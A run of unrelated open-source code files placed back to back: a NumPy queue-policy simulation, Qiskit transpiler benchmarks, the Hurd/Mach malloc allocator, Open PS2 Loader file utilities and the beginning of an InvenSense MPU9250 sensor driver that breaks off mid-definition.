_mcsimulate(qpm_i, qpm_g, ncam, policy, dset_mr, rsz_is): """Compiled implementation of mcsimulate.""" assert qpm_i[0] < qpm_i[1] assert qpm_i[2] >= qpm_i[1] assert len(policy) == qpm_i[2]-qpm_i[1]+1 assert qpm_g[0] < qpm_g[1] assert qpm_g[2] >= qpm_g[1] occup_s = np.zeros((qpm_g[2]-qpm_g[0]+1), np.float64) ocmp = np.arange(qpm_g[0], qpm_g[2]+1).reshape((-1, 1)) imidx = np.random.randint(0, len(dset_mr[0]), (rsz_is[0], rsz_is[1]*ncam)) nistate = qpm_i[2]*np.ones((rsz_is[1]*ncam), np.int64) ngstate = qpm_g[2]*np.ones((rsz_is[1]), np.int64) avg_gain = 0. for i in range(rsz_is[0]): tidx = imidx[i, :] ifsend = dset_mr[0][tidx] >= policy[np.maximum(0, nistate-qpm_i[1])] ifsend = np.logical_and(ifsend, nistate >= qpm_i[1]) nistate = nistate - np.where(ifsend, qpm_i[1], 0) + qpm_i[0] nistate = np.minimum(nistate, qpm_i[2]) for j in range(ncam): occup_s = occup_s + np.sum(ocmp == ngstate, 1) ifsendj, tidxj = ifsend[j::ncam], tidx[j::ncam] ifsendj = np.logical_and(ifsendj, ngstate >= qpm_g[1]) avg_gain = avg_gain + \ np.sum(np.where(ifsendj, dset_mr[1][tidxj], 0)) ngstate = ngstate - np.where(ifsendj, qpm_g[1], 0) + qpm_g[0] ngstate = np.minimum(ngstate, qpm_g[2]) denom = rsz_is[0]*rsz_is[1]*ncam return avg_gain/denom, occup_s/denom def mcsimulate(rb_i, rb_g, ncam, policy, dset_mr, rsz_is=(1e5, 1e2)): """Simulate policy on multiple cameras interacting with a switch.""" qpm_i, qpm_g = ut.getqpm(*rb_i), ut.getqpm(*rb_g) rsz_is = (int(rsz_is[0]), int(rsz_is[1])) return _mcsimulate(qpm_i, qpm_g, ncam, policy, dset_mr, rsz_is)
# -*- coding: utf-8 -*- # This code is part of Qiskit. # # (C) Copyright IBM 2019. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any modifications or derivative works of this code must retain this # copyright notice, and modified files need to carry a notice indicating # that they have been altered from the originals. # pylint: disable=no-member,invalid-name,missing-docstring,no-name-in-module # pylint: disable=attribute-defined-outside-init,unsubscriptable-object # pylint: disable=unused-wildcard-import,wildcard-import,undefined-variable from qiskit.circuit.equivalence_library import SessionEquivalenceLibrary as SEL from qiskit.transpiler.passes import * from qiskit.converters import circuit_to_dag from .utils import random_circuit class Collect2QPassBenchmarks: params = ([5, 14, 20], [1024]) param_names = ['n_qubits', 'depth'] timeout = 300 def setup(self, n_qubits, depth): seed = 42 self.circuit = random_circuit(n_qubits, depth, measure=True, conditional=True, reset=True, seed=seed) self.dag = circuit_to_dag(self.circuit) collect_blocks = Collect2qBlocks() collect_blocks.run(self.dag) self.block_list = collect_blocks.property_set['block_list'] def time_consolidate_blocks(self, _, __): _pass = ConsolidateBlocks() _pass.property_set['block_list'] = self.block_list _pass.run(self.dag) class CommutativeAnalysisPassBenchmarks: params = ([5, 14, 20], [1024]) param_names = ['n_qubits', 'depth'] timeout = 300 def setup(self, n_qubits, depth): seed = 42 self.circuit = random_circuit(n_qubits, depth, measure=True, conditional=True, reset=True, seed=seed) self.dag = circuit_to_dag(self.circuit) commutative_analysis = CommutationAnalysis() commutative_analysis.run( self.dag) self.commutation_set = commutative_analysis.property_set[ 'commutation_set'] def time_commutative_cancellation(self, _, __): _pass = CommutativeCancellation() _pass.property_set['commutation_set'] = self.commutation_set _pass.run(self.dag) class UnrolledPassBenchmarks: params = ([5, 14, 20], [1024]) param_names = ['n_qubits', 'depth'] timeout = 300 def setup(self, n_qubits, depth): seed = 42 self.circuit = random_circuit(n_qubits, depth, measure=True, conditional=True, reset=True, seed=seed) self.dag = circuit_to_dag(self.circuit) self.basis_gates = ['u1', 'u2', 'u3', 'cx', 'id'] self.unrolled_dag = Unroller(self.basis_gates).run(self.dag) def time_optimize_1q(self, _, __): Optimize1qGates().run(self.unrolled_dag) class MultipleBasisPassBenchmarks: params = ([5, 14, 20], [1024], [['u', 'cx', 'id'], ['rx', 'ry', 'rz', 'r', 'rxx', 'id'], ['rz', 'x', 'sx', 'cx', 'id']]) param_names = ['n_qubits', 'depth', 'basis_gates'] timeout = 300 def setup(self, n_qubits, depth, basis_gates): seed = 42 self.circuit = random_circuit(n_qubits, depth, measure=True, seed=seed) self.dag = circuit_to_dag(self.circuit) self.basis_gates = basis_gates def time_optimize_1q_decompose(self, _, __, ___): Optimize1qGatesDecomposition(self.basis_gates).run(self.dag) def time_optimize_1q_commutation(self, _, __, ___): Optimize1qGatesSimpleCommutation(self.basis_gates).run(self.dag) def time_basis_translator(self, _, __, ___): BasisTranslator(SEL, self.basis_gates).run(self.dag) class PassBenchmarks: params = ([5, 14, 20], [1024]) param_names = ['n_qubits', 'depth'] timeout = 300 def setup(self, n_qubits, depth): seed = 42 self.circuit = random_circuit(n_qubits, depth, measure=True, conditional=True, reset=True, seed=seed) self.dag = circuit_to_dag(self.circuit) self.basis_gates = ['u1', 'u2', 'u3', 'cx', 'id'] def time_unroller(self, _, __): Unroller(self.basis_gates).run(self.dag) def time_depth_pass(self, _, __): Depth().run(self.dag) def time_size_pass(self, _, __): Size().run(self.dag) def time_width_pass(self, _, __): Width().run(self.dag) def time_count_ops_pass(self, _, __): CountOps().run(self.dag) def time_count_ops_longest_path(self, _, __): CountOpsLongestPath().run(self.dag) def time_num_tensor_factors(self, _, __): NumTensorFactors().run(self.dag) def time_resource_optimization(self, _, __): ResourceEstimation().run(self.dag) def time_cx_cancellation(self, _, __): CXCancellation().run(self.dag) def time_dag_longest_path(self, _, __): DAGLongestPath().run(self.dag) def time_merge_adjacent_barriers(self, _, __): MergeAdjacentBarriers().run(self.dag) def time_decompose_pass(self, _, __): Decompose().run(self.dag) def time_unroll_3q_or_more(self, _, __): Unroll3qOrMore().run(self.dag) def time_commutation_analysis(self, _, __): CommutationAnalysis().run(self.dag) def time_remove_reset_in_zero_state(self, _, __): RemoveResetInZeroState().run(self.dag) def time_collect_2q_blocks(self, _, __): Collect2qBlocks().run(self.dag) def time_optimize_swap_before_measure(self, _, __): OptimizeSwapBeforeMeasure().run(self.dag) def time_barrier_before_final_measurements(self, _, __): BarrierBeforeFinalMeasurements().run(self.dag) def time_remove_diagonal_gates_before_measurement(self, _, __): RemoveDiagonalGatesBeforeMeasure().run(self.dag) def time_remove_final_measurements(self, _, __): RemoveFinalMeasurements().run(self.dag) def time_contains_instruction(self, _, __): ContainsInstruction('cx').run(self.dag) def time_gates_in_basis(self, _, __): GatesInBasis(self.basis_gates).run(self.dag) def time_remove_barriers(self, _, __): RemoveBarriers().run(self.dag) class MultiQBlockPassBenchmarks: params = ([5, 14, 20], [1024], [1, 2, 3, 4, 5]) param_names = ['n_qubits', 'depth', 'max_block_size'] timeout = 300 def setup(self, n_qubits, depth, _): seed = 42 self.circuit = random_circuit(n_qubits, depth, measure=True, conditional=True, reset=True, seed=seed) self.dag = circuit_to_dag(self.circuit) def time_collect_multiq_block(self, _, __, max_block_size): CollectMultiQBlocks(max_block_size).run(self.dag)
#include <stdlib.h> #include <string.h> #include "hurdmalloc.h" /* XXX see that file */ #include <mach.h> #define vm_allocate __vm_allocate #define vm_page_size __vm_page_size /* * Mach Operating System * Copyright (c) 1991,1990,1989 Carnegie Mellon University * All Rights Reserved. * * Permission to use, copy, modify and distribute this software and its * documentation is hereby granted, provided that both the copyright * notice and this permission notice appear in all copies of the * software, derivative works or modified versions, and any portions * thereof, and that both notices appear in supporting documentation. * * CARNEGIE MELLON ALLOWS FREE USE OF THIS SOFTWARE IN ITS "AS IS" * CONDITION. CARNEGIE MELLON DISCLAIMS ANY LIABILITY OF ANY KIND FOR * ANY DAMAGES WHATSOEVER RESULTING FROM THE USE OF THIS SOFTWARE. * * Carnegie Mellon requests users of this software to return to * * Software Distribution Coordinator or Software.Distribution@CS.CMU.EDU * School of Computer Science * Carnegie Mellon University * Pittsburgh PA 15213-3890 * * any improvements or extensions that they make and grant Carnegie Mellon * the rights to redistribute these changes. */ /* * (pre-GNU) HISTORY * * Revision 2.7 91/05/14 17:57:34 mrt * Correcting copyright * * Revision 2.6 91/02/14 14:20:26 mrt * Added new Mach copyright * [91/02/13 12:41:21 mrt] * * Revision 2.5 90/11/05 14:37:33 rpd * Added malloc_fork* code. * [90/11/02 rwd] * * Add spin_lock_t. * [90/10/31 rwd] * * Revision 2.4 90/08/07 14:31:28 rpd * Removed RCS keyword nonsense. * * Revision 2.3 90/06/02 15:14:00 rpd * Converted to new IPC. * [90/03/20 20:56:57 rpd] * * Revision 2.2 89/12/08 19:53:59 rwd * Removed conditionals. * [89/10/23 rwd] * * Revision 2.1 89/08/03 17:09:46 rwd * Created. * * * 13-Sep-88 Eric Cooper (ecc) at Carnegie Mellon University * Changed realloc() to copy min(old size, new size) bytes. * Bug found by Mike Kupfer at Olivetti. */ /* * File: malloc.c * Author: Eric Cooper, Carnegie Mellon University * Date: July, 1988 * * Memory allocator for use with multiple threads. */ #include <assert.h> #include <cthreads.h> #define MCHECK /* * Structure of memory block header. * When free, next points to next block on free list. * When allocated, fl points to free list. * Size of header is 4 bytes, so minimum usable block size is 8 bytes. */ #define CHECK_BUSY 0x8a3c743e #define CHECK_FREE 0x66688b92 #ifdef MCHECK typedef struct header { long check; union { struct header *next; struct free_list *fl; } u; } *header_t; #define HEADER_SIZE sizeof (struct header) #define HEADER_NEXT(h) ((h)->u.next) #define HEADER_FREE(h) ((h)->u.fl) #define HEADER_CHECK(h) ((h)->check) #define MIN_SIZE 16 #define LOG2_MIN_SIZE 4 #else /* ! MCHECK */ typedef union header { union header *next; struct free_list *fl; } *header_t; #define HEADER_SIZE sizeof (union header) #define HEADER_NEXT(h) ((h)->next) #define HEADER_FREE(h) ((h)->fl) #define MIN_SIZE 8 /* minimum block size */ #define LOG2_MIN_SIZE 3 #endif /* MCHECK */ typedef struct free_list { spin_lock_t lock; /* spin lock for mutual exclusion */ header_t head; /* head of free list for this size */ #ifdef DEBUG int in_use; /* # mallocs - # frees */ #endif /* DEBUG */ } *free_list_t; /* * Free list with index i contains blocks of size 2 ^ (i + LOG2_MIN_SIZE) * including header. Smallest block size is MIN_SIZE, with MIN_SIZE - * HEADER_SIZE bytes available to user. Size argument to malloc is a signed * integer for sanity checking, so largest block size is 2^31. */ #define NBUCKETS 29 static struct free_list malloc_free_list[NBUCKETS]; /* Initialization just sets everything to zero, but might be necessary on a machine where spin_lock_init does otherwise, and is necessary when running an executable that was written by something like Emacs's unexec. It preserves the values of data variables like malloc_free_list, but does not save the vm_allocate'd space allocated by this malloc. */ static void malloc_init (void) { int i; for (i = 0; i < NBUCKETS; ++i) { spin_lock_init (&malloc_free_list[i].lock); malloc_free_list[i].head = NULL; #ifdef DEBUG malloc_free_list[i].in_use = 0; #endif } /* This not only suppresses a `defined but not used' warning, but it is ABSOLUTELY NECESSARY to avoid the hyperclever compiler from "optimizing out" the entire function! */ (void) &malloc_init; } static void more_memory(int size, free_list_t fl) { int amount; int n; vm_address_t where; header_t h; kern_return_t r; if (size <= vm_page_size) { amount = vm_page_size; n = vm_page_size / size; /* We lose vm_page_size - n*size bytes here. */ } else { amount = size; n = 1; } r = vm_allocate(mach_task_self(), &where, (vm_size_t) amount, TRUE); assert_perror (r); h = (header_t) where; do { HEADER_NEXT (h) = fl->head; #ifdef MCHECK HEADER_CHECK (h) = CHECK_FREE; #endif fl->head = h; h = (header_t) ((char *) h + size); } while (--n != 0); } /* Declaration changed to standard one for GNU. */ void * malloc (size_t size) { int i, n; free_list_t fl; header_t h; if ((int) size < 0) /* sanity check */ return 0; size += HEADER_SIZE; /* * Find smallest power-of-two block size * big enough to hold requested size plus header. */ i = 0; n = MIN_SIZE; while (n < size) { i += 1; n <<= 1; } ASSERT(i < NBUCKETS); fl = &malloc_free_list[i]; spin_lock(&fl->lock); h = fl->head; if (h == 0) { /* * Free list is empty; * allocate more blocks. */ more_memory(n, fl); h = fl->head; if (h == 0) { /* * Allocation failed. */ spin_unlock(&fl->lock); return 0; } } /* * Pop block from free list. */ fl->head = HEADER_NEXT (h); #ifdef MCHECK assert (HEADER_CHECK (h) == CHECK_FREE); HEADER_CHECK (h) = CHECK_BUSY; #endif #ifdef DEBUG fl->in_use += 1; #endif /* DEBUG */ spin_unlock(&fl->lock); /* * Store free list pointer in block header * so we can figure out where it goes * at free() time. */ HEADER_FREE (h) = fl; /* * Return pointer past the block header. */ return ((char *) h) + HEADER_SIZE; } /* Declaration changed to standard one for GNU. */ void free (void *base) { header_t h; free_list_t fl; int i; if (base == 0) return; /* * Find free list for block. */ h = (header_t) (base - HEADER_SIZE); #ifdef MCHECK assert (HEADER_CHECK (h) == CHECK_BUSY); #endif fl = HEADER_FREE (h); i = fl - malloc_free_list; /* * Sanity checks. */ if (i < 0 || i >= NBUCKETS) { ASSERT(0 <= i && i < NBUCKETS); return; } if (fl != &malloc_free_list[i]) { ASSERT(fl == &malloc_free_list[i]); return; } /* * Push block on free list. */ spin_lock(&fl->lock); HEADER_NEXT (h) = fl->head; #ifdef MCHECK HEADER_CHECK (h) = CHECK_FREE; #endif fl->head = h; #ifdef DEBUG fl->in_use -= 1; #endif /* DEBUG */ spin_unlock(&fl->lock); return; } /* Declaration changed to standard one for GNU. */ void * realloc (void *old_base, size_t new_size) { header_t h; free_list_t fl; int i; unsigned int old_size; char *new_base; if (old_base == 0) return malloc (new_size); /* * Find size of old block. */ h = (header_t) (old_base - HEADER_SIZE); #ifdef MCHECK assert (HEADER_CHECK (h) == CHECK_BUSY); #endif fl = HEADER_FREE (h); i = fl - malloc_free_list; /* * Sanity checks. */ if (i < 0 || i >= NBUCKETS) { ASSERT(0 <= i && i < NBUCKETS); return 0; } if (fl != &malloc_free_list[i]) { ASSERT(fl == &malloc_free_list[i]); return 0; } /* * Free list with index i contains blocks of size * 2 ^ (i + * LOG2_MIN_SIZE) including header. */ old_size = (1 << (i + LOG2_MIN_SIZE)) - HEADER_SIZE; if (new_size <= old_size && new_size > (((old_size + HEADER_SIZE) >> 1) - HEADER_SIZE)) /* The new size still fits in the same block, and wouldn't fit in the next smaller block! */ return old_base; /* * Allocate new block, copy old bytes, and free old block. */ new_base = malloc(new_size); if (new_base) memcpy (new_base, old_base, (int) (old_size < new_size ? old_size : new_size)); if (new_base || new_size == 0) /* Free OLD_BASE, but only if the malloc didn't fail. */ free (old_base); return new_base; } #ifdef DEBUG void print_malloc_free_list (void) { int i, size; free_list_t fl; int n; header_t h; int total_used = 0; int total_free = 0; fprintf(stderr, " Size In Use Free Total\n"); for (i = 0, size = MIN_SIZE, fl = malloc_free_list; i < NBUCKETS; i += 1, size <<= 1, fl += 1) { spin_lock(&fl->lock); if (fl->in_use != 0 || fl->head != 0) { total_used += fl->in_use * size; for (n = 0, h = fl->head; h != 0; h = HEADER_NEXT (h), n += 1) ; total_free += n * size; fprintf(stderr, "%10d %10d %10d %10d\n", size, fl->in_use, n, fl->in_use + n); } spin_unlock(&fl->lock); } fprintf(stderr, " all sizes %10d %10d %10d\n", total_used, total_free, total_used + total_free); } #endif /* DEBUG */ void _hurd_malloc_fork_prepare(void) /* * Prepare the malloc module for a fork by insuring that no thread is in a * malloc critical section. */ { int i; for (i = 0; i < NBUCKETS; i++) { spin_lock(&malloc_free_list[i].lock); } } void _hurd_malloc_fork_parent(void) /* * Called in the parent process after a fork() to resume normal operation. */ { int i; for (i = NBUCKETS-1; i >= 0; i--) { spin_unlock(&malloc_free_list[i].lock); } } void _hurd_malloc_fork_child(void) /* * Called in the child process after a fork() to resume normal operation. */ { int i; for (i = NBUCKETS-1; i >= 0; i--) { spin_unlock(&malloc_free_list[i].lock); } } text_set_element (_hurd_preinit_hook, malloc_init);
/* Copyright 2009, Ifcaro & volca Licenced under Academic Free License version 3.0 Review OpenUsbLd README & LICENSE files for further details. */ #include "include/util.h" #include "include/ioman.h" #include <io_common.h> #include <string.h> #include <malloc.h> #include <fileio.h> #include <osd_config.h> extern void *icon_sys; extern int size_icon_sys; extern void *icon_icn; extern int size_icon_icn; static int mcID = -1; int getFileSize(int fd) { int size = fioLseek(fd, 0, SEEK_END); fioLseek(fd, 0, SEEK_SET); return size; } static void writeMCIcon() { void** buffer = &icon_icn; file_buffer_t* fileBuffer = openFileBuffer("mc?:OPL/opl.icn", O_WRONLY | O_CREAT | O_TRUNC, 0, 0); if (fileBuffer) { writeFileBuffer(fileBuffer, (char *)buffer, size_icon_icn); closeFileBuffer(fileBuffer); } buffer = &icon_sys; fileBuffer = openFileBuffer("mc?:OPL/icon.sys", O_WRONLY | O_CREAT | O_TRUNC, 0, 0); if (fileBuffer) { writeFileBuffer(fileBuffer, (char *)buffer, size_icon_sys); closeFileBuffer(fileBuffer); } } static int checkMC() { if (mcID == -1) { int fd = fioDopen("mc0:OPL"); if(fd < 0) { fd = fioDopen("mc1:OPL"); if(fd < 0) { // No base dir found on any MC, will create the folder if (fioMkdir("mc0:OPL") >= 0) { mcID = 0x30; writeMCIcon(); } else if (fioMkdir("mc1:OPL") >= 0) { mcID = 0x31; writeMCIcon(); } } else { fioDclose(fd); mcID = 0x31; } } else { fioDclose(fd); mcID = 0x30; } } return mcID; } static int checkFile(char* path, int mode) { // check if it is mc if (strncmp(path, "mc", 2) == 0) { // if user didn't explicitly asked for a MC (using '?' char) if (path[2] == 0x3F) { // Use default detected card if (checkMC() >= 0) path[2] = mcID; else return 0; } // in create mode, we check that the directory exist, or create it if (mode & O_CREAT) { char dirPath[255]; char* pos = strrchr(path, '/'); if (pos) { memcpy(dirPath, path, pos - path); dirPath[pos - path] = '\0'; int fd = fioDopen(dirPath); if (fd < 0) { if (fioMkdir(dirPath) < 0) return 0; } else fioDclose(fd); } } } return 1; } int openFile(char* path, int mode) { if (checkFile(path, mode)) return fioOpen(path, mode); else return -1; } void* readFile(char* path, int align, int* size) { void *buffer = NULL; int fd = openFile(path, O_RDONLY); if (fd >= 0) { unsigned int realSize = getFileSize(fd); if ((*size > 0) && (*size != realSize)) { LOG("UTIL Invalid filesize, expected: %d, got: %d\n", *size, realSize); fioClose(fd); return NULL; } if (align > 0) buffer = memalign(128, realSize); // The allocation is aligned to aid the DMA transfers else buffer = malloc(realSize); if (!buffer) { LOG("UTIL ReadFile: Failed allocation of %d bytes", realSize); *size = 0; } else { fioRead(fd, buffer, realSize); fioClose(fd); *size = realSize; } } return buffer; } void checkCreateDir(char* dirPath) { int fd = fioDopen(dirPath); if (fd < 0) fioMkdir(dirPath); else fioDclose(fd); } int listDir(char* path, const char* separator, int maxElem, int (*readEntry)(int index, const char *path, const char* separator, const char* name, unsigned int mode)) { int fdDir, index = 0; if (checkFile(path, O_RDONLY)) { fio_dirent_t record; fdDir = fioDopen(path); if (fdDir > 0) { while (index < maxElem && fioDread(fdDir, &record) > 0) index = readEntry(index, path, separator, record.name, record.stat.mode); fioDclose(fdDir); } } return index; } /* size will be the maximum line size possible */ file_buffer_t* openFileBuffer(char* fpath, int mode, short allocResult, unsigned int size) { file_buffer_t* fileBuffer = NULL; int fd = openFile(fpath, mode); if (fd >= 0) { fileBuffer = (file_buffer_t*) malloc(sizeof(file_buffer_t)); fileBuffer->size = size; fileBuffer->available = 0; fileBuffer->buffer = (char*) malloc(size * sizeof(char)); if (mode == O_RDONLY) fileBuffer->lastPtr = NULL; else fileBuffer->lastPtr = fileBuffer->buffer; fileBuffer->allocResult = allocResult; fileBuffer->fd = fd; fileBuffer->mode = mode; } return fileBuffer; } int readFileBuffer(file_buffer_t* fileBuffer, char** outBuf) { int lineSize = 0, read, length; char* posLF = NULL; while (1) { // if lastPtr is set, then we continue the read from this point as reference if (fileBuffer->lastPtr) { // Calculate the remaining chars to the right of lastPtr lineSize = fileBuffer->available - (fileBuffer->lastPtr - fileBuffer->buffer); /*LOG("##### Continue read, position: %X (total: %d) line size (\\0 not inc.): %d end: %x\n", fileBuffer->lastPtr - fileBuffer->buffer, fileBuffer->available, lineSize, fileBuffer->lastPtr[lineSize]);*/ posLF = strchr(fileBuffer->lastPtr, 0x0A); } if (!posLF) { // We can come here either when the buffer is empty, or if the remaining chars don't have a LF // if available, we shift the remaining chars to the left ... if (lineSize) { //LOG("##### LF not found, Shift %d characters from end to beginning\n", lineSize); memmove(fileBuffer->buffer, fileBuffer->lastPtr, lineSize); } // ... and complete the buffer if we're not at EOF if (fileBuffer->fd >= 0) { // Load as many characters necessary to fill the buffer length = fileBuffer->size - lineSize - 1; //LOG("##### Asking for %d characters to complete buffer\n", length); read = fioRead(fileBuffer->fd, fileBuffer->buffer + lineSize, length); fileBuffer->buffer[lineSize + read] = '\0'; // Search again (from the lastly added chars only), the result will be "analyzed" in next if posLF = strchr(fileBuffer->buffer + lineSize, 0x0A); // Now update read context info lineSize = lineSize + read; //LOG("##### %d characters really read, line size now (\\0 not inc.): %d\n", read, lineSize); // If buffer not full it means we are at EOF if (fileBuffer->size != lineSize + 1) { //LOG("##### Reached EOF\n"); fioClose(fileBuffer->fd); fileBuffer->fd = -1; } } fileBuffer->lastPtr = fileBuffer->buffer; fileBuffer->available = lineSize; } if(posLF) lineSize = posLF - fileBuffer->lastPtr; // Check the previous char (on Windows there are CR/LF instead of single linux LF) if (lineSize) if (*(fileBuffer->lastPtr + lineSize - 1) == 0x0D) lineSize--; fileBuffer->lastPtr[lineSize] = '\0'; *outBuf = fileBuffer->lastPtr; //LOG("##### Result line is \"%s\" size: %d avail: %d pos: %d\n", fileBuffer->lastPtr, lineSize, fileBuffer->available, fileBuffer->lastPtr - fileBuffer->buffer); // If we are at EOF and no more chars available to scan, then we are finished if (!lineSize && !fileBuffer->available && fileBuffer->fd == -1) return 0; if (fileBuffer->lastPtr[0] == 0x23) {// '#' for comment lines if (posLF) fileBuffer->lastPtr = posLF + 1; else fileBuffer->lastPtr = NULL; continue; } if (lineSize && fileBuffer->allocResult) { *outBuf = (char*) malloc((lineSize + 1) * sizeof(char)); memcpy(*outBuf, fileBuffer->lastPtr, lineSize + 1); } // Either move the pointer to next chars, or set it to null to force a whole buffer read (if possible) if (posLF) fileBuffer->lastPtr = posLF + 1; else { fileBuffer->lastPtr = NULL; } return 1; } } void writeFileBuffer(file_buffer_t* fileBuffer, char* inBuf, int size) { //LOG("writeFileBuffer avail: %d size: %d\n", fileBuffer->available, size); if (fileBuffer->available && fileBuffer->available + size > fileBuffer->size) { //LOG("writeFileBuffer flushing: %d\n", fileBuffer->available); fioWrite(fileBuffer->fd, fileBuffer->buffer, fileBuffer->available); fileBuffer->lastPtr = fileBuffer->buffer; fileBuffer->available = 0; } if (size > fileBuffer->size) { //LOG("writeFileBuffer direct write: %d\n", size); fioWrite(fileBuffer->fd, inBuf, size); } else { memcpy(fileBuffer->lastPtr, inBuf, size); fileBuffer->lastPtr += size; fileBuffer->available += size; //LOG("writeFileBuffer lastPrt: %d\n", (fileBuffer->lastPtr - fileBuffer->buffer)); } } void closeFileBuffer(file_buffer_t* fileBuffer) { if (fileBuffer->fd >= 0) { if (fileBuffer->mode != O_RDONLY && fileBuffer->available) { //LOG("writeFileBuffer final write: %d\n", fileBuffer->available); fioWrite(fileBuffer->fd, fileBuffer->buffer, fileBuffer->available); } fioClose(fileBuffer->fd); } free(fileBuffer->buffer); free(fileBuffer); fileBuffer = NULL; } // a simple maximum of two inline inline int max(int a, int b) { return a > b ? a : b; } // a simple minimum of two inline inline int min(int a, int b) { return a < b ? a : b; } // single digit from hex decode int fromHex(char digit) { if ((digit >= '0') && (digit <= '9')) { return (digit - '0'); } else if ( (digit >= 'A') && (digit <= 'F') ) { return (digit - 'A' + 10); } else if ( (digit >= 'a') && (digit <= 'f') ) { return (digit - 'a' + 10); } else return -1; } static const char htab[16] = "0123456789ABCDEF"; char toHex(int digit) { return htab[digit & 0x0F]; } enum CONSOLE_REGIONS{ CONSOLE_REGION_INVALID = -1, CONSOLE_REGION_JAPAN = 0, CONSOLE_REGION_USA, //USA and HK/SG. CONSOLE_REGION_EUROPE, CONSOLE_REGION_CHINA, CONSOLE_REGION_COUNT }; static short int ConsoleRegion=CONSOLE_REGION_INVALID; static char SystemDataFolderPath[]="BRDATA-SYSTEM"; static char SystemFolderLetter='R'; static void UpdateSystemPaths(void){ char regions[CONSOLE_REGION_COUNT]={'I', 'A', 'E', 'C'}; SystemFolderLetter=regions[ConsoleRegion]; SystemDataFolderPath[1]=SystemFolderLetter; } int InitConsoleRegionData(void){ int result; char romver[16]; if((result=ConsoleRegion)<0){ GetRomName(romver); switch(romver[4]){ case 'C': ConsoleRegion=CONSOLE_REGION_CHINA; break; case 'E': ConsoleRegion=CONSOLE_REGION_EUROPE; break; case 'H': case 'A': ConsoleRegion=CONSOLE_REGION_USA; break; case 'J': ConsoleRegion=CONSOLE_REGION_JAPAN; } result=ConsoleRegion; UpdateSystemPaths(); } return result; } const char *GetSystemDataPath(void){ return SystemDataFolderPath; } char GetSystemFolderLetter(void){ return SystemFolderLetter; }
/* $License: Copyright (C) 2011-2012 InvenSense Corporation, All Rights Reserved. See included License.txt for License information. $ */ /** * @addtogroup DRIVERS Sensor Driver Layer * @brief Hardware drivers to communicate with sensors via I2C. * * @{ * @file inv_mpu.c * @brief An I2C-based driver for Invensense gyroscopes. * @details This driver currently works for the following devices: * MPU6050 * MPU6500 * MPU9150 (or MPU6050 w/ AK8975 on the auxiliary bus) * MPU9250 (or MPU6500 w/ AK8963 on the auxiliary bus) */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <math.h> #include "inv_mpu.h" #include "Arduino.h" /* The following functions must be defined for this platform: * i2c_write(unsigned char slave_addr, unsigned char reg_addr, * unsigned char length, unsigned char const *data) * i2c_read(unsigned char slave_addr, unsigned char reg_addr, * unsigned char length, unsigned char *data) * delay_ms(unsigned long num_ms) * get_ms(unsigned long *count) * reg_int_cb(void (*cb)(void), unsigned char port, unsigned char pin) * labs(long x) * fabsf(float x) * min(int a, int b) */ #include <Arduino.h> #define MPU9250 #include "arduino_mpu9250_i2c.h" #include "arduino_mpu9250_clk.h" #define i2c_write(a, b, c, d) arduino_i2c_write(a, b, c, d) #define i2c_read(a, b, c, d) arduino_i2c_read(a, b, c, d) #define delay_ms arduino_delay_ms #define get_ms arduino_get_clock_ms #define log_i _MLPrintLog #define log_e _MLPrintLog static inline int reg_int_cb(struct int_param_s *int_param) { } #if !defined MPU6050 && !defined MPU9150 && !defined MPU6500 && !defined MPU9250 #error Which gyro are you using? Define MPUxxxx in your compiler options. #endif /* Time for some messy macro work. =] * #define MPU9150 * is equivalent to.. * #define MPU6050 * #define AK8975_SECONDARY * * #define MPU9250 * is equivalent to.. * #define MPU6500 * #define AK8963_SECONDARY */ #if defined MPU9150 #ifndef MPU6050 #define MPU6050 #endif /* #ifndef MPU6050 */ #if defined AK8963_SECONDARY #error "MPU9150 and AK8963_SECONDARY cannot both be defined." #elif !defined AK8975_SECONDARY /* #if defined AK8963_SECONDARY */ #define AK8975_SECONDARY #endif /* #if defined AK8963_SECONDARY */ #elif defined MPU9250 /* #if defined MPU9150 */ #ifndef MPU6500 #define MPU6500 #endif /* #ifndef MPU6500 */ #if defined AK8975_SECONDARY #error "MPU9250 and AK8975_SECONDARY cannot both be defined." #elif !defined AK8963_SECONDARY /* #if defined AK8975_SECONDARY */ #define AK8963_SECONDARY #endif /* #if defined AK8975_SECONDARY */ #endif /* #if defined MPU9150 */ #if defined AK8975_SECONDARY || defined AK8963_SECONDARY #define AK89xx_SECONDARY #else /* #warning "No compass = less profit for Invensense. Lame." */ #endif //static int set_int_enable(unsigned char enable); /* Hardware registers needed by driver. */ struct gyro_reg_s { unsigned char who_am_i; unsigned char rate_div; unsigned char lpf; unsigned char prod_id; unsigned char user_ctrl; unsigned char fifo_en; unsigned char gyro_cfg; unsigned char accel_cfg; unsigned char accel_cfg2; unsigned char lp_accel_odr; unsigned char motion_thr; unsigned char motion_dur; unsigned char fifo_count_h; unsigned char fifo_r_w; unsigned char raw_gyro; unsigned char raw_accel; unsigned char temp; unsigned char int_enable; unsigned char dmp_int_status; unsigned char int_status; unsigned char accel_intel; unsigned char pwr_mgmt_1; unsigned char pwr_mgmt_2; unsigned char int_pin_cfg; unsigned char mem_r_w; unsigned char accel_offs; unsigned char i2c_mst; unsigned char bank_sel; unsigned char mem_start_addr; unsigned char prgm_start_h; #if defined AK89xx_SECONDARY unsigned char s0_addr; unsigned char s0_reg; unsigned char s0_ctrl; unsigned char s1_addr; unsigned char s1_reg; unsigned char s1_ctrl; unsigned char s4_ctrl; unsigned char s0_do; unsigned char s1_do; unsigned char i2c_delay_ctrl; unsigned char raw_compass; /* The I2C_MST_VDDIO bit is in this register. */ unsigned char yg_offs_tc; #endif }; /* Information specific to a particular device. */ struct hw_s { unsigned char addr; unsigned short max_fifo; unsigned char num_reg; unsigned short temp_sens; short temp_offset; unsigned short bank_size; #if defined AK89xx_SECONDARY unsigned short compass_fsr; #endif }; /* When entering motion interrupt mode, the driver keeps track of the * previous state so that it can be restored at a later time. * TODO: This is tacky. Fix it. */ struct motion_int_cache_s { unsigned short gyro_fsr; unsigned char accel_fsr; unsigned short lpf; unsigned short sample_rate; unsigned char sensors_on; unsigned char fifo_sensors; unsigned char dmp_on; }; /* Cached chip configuration data. * TODO: A lot of these can be handled with a bitmask. */ struct chip_cfg_s { /* Matches gyro_cfg >> 3 & 0x03 */ unsigned char gyro_fsr; /* Matches accel_cfg >> 3 & 0x03 */ unsigned char accel_fsr; /* Enabled sensors. Uses same masks as fifo_en, NOT pwr_mgmt_2. */ unsigned char sensors; /* Matches config register. */ unsigned char 